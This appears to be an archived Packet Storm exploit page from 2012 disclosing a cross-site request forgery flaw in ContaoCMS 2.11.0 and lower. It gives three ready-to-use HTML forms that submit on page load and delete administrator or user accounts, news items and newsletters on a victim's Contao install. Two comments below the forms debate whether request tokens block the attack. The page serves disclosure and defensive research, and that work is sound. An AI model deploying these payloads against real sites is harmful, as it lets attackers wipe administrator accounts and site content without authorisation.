exploit the possibilities

ContaoCMS 2.11.0 Cross Site Request Forgery

ContaoCMS 2.11.0 Cross Site Request Forgery
Posted Feb 27, 2012
Authored by Ivano Binetti

ContaoCMS versions 2.11.0 and below suffer from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 8f50bbc1e1667430a862c31a1a5524c7

ContaoCMS 2.11.0 Cross Site Request Forgery

Change Mirror Download
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : ContaoCMS (fka TYPOlight) <= 2.11 CSRF (Delete Admin- Delete Article)
# Date : 25-02-2012
# Author : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://www.contao.org/en/download.html
# Vendor site : http://www.contao.org
# Version : 2.11.0 (latest) and lower
# Tested on : Debian Squeeze (6.0)
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Multiple Vulnerabilities by Ivano Binetti]-------------------------------------------+

Summary
1)Introduction
2)Vulnerabilities Description
2.1 Delete Administrators or Users
2.2 Delete News
2.3 Delete Newsletter
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
Contao (fka TYPOlight) is "an open source content management system (CMS) for people who want a professional internet presence that
is easy to maintain".

2)Vulnerabilities Description
Contao 2.11 (and lower) is affected by CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages
(articles, news, newsletter and so on).

2.1 Delete Administrators or Users
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to delete ADMIN/USER account</H2>
<form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=user&act=delete&id=2">
</body>
</html>

Note that the is possible to delete any admin/user, also the first administrator (id=1) created during Contao's installation phase.

2.2 Delete News
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to delete News</H2>
<form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=news&act=delete&id=1">
</form>
</body>
</html>


2.3 Delete Newsletter
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to delete Newsletter</H2>
<form method="POST" name="form0" action="http://<contao_ip>:80/contao/contao/main.php?do=newsletter&act=delete&id=1">
</form>
</body>
</html>
+--------------------------------------------------------------------------------------------------------------------------------+

Comments (2)

RSS Feed Subscribe to this comment feed
ivarsvids

Doesn't work with enabled "request tokens".

Comment by ivarsvids
2012-02-28 13:52:30 UTC | Permalink | Reply
ibinetti

Dear ivarsvids,
this vulnerability works as contaocms does not use anti-CSRF token in order to validate above described operations. This vulnerability has been confirmed by a lot of sources as Secunia, Kaspersky Lab, Mitre, Ibm X-force, Offensive Security DB.

Best Regards,
Ivano Binetti

Comment by ibinetti
2012-03-23 15:52:34 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    31 Files
  • 15
    Feb 15th
    10 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close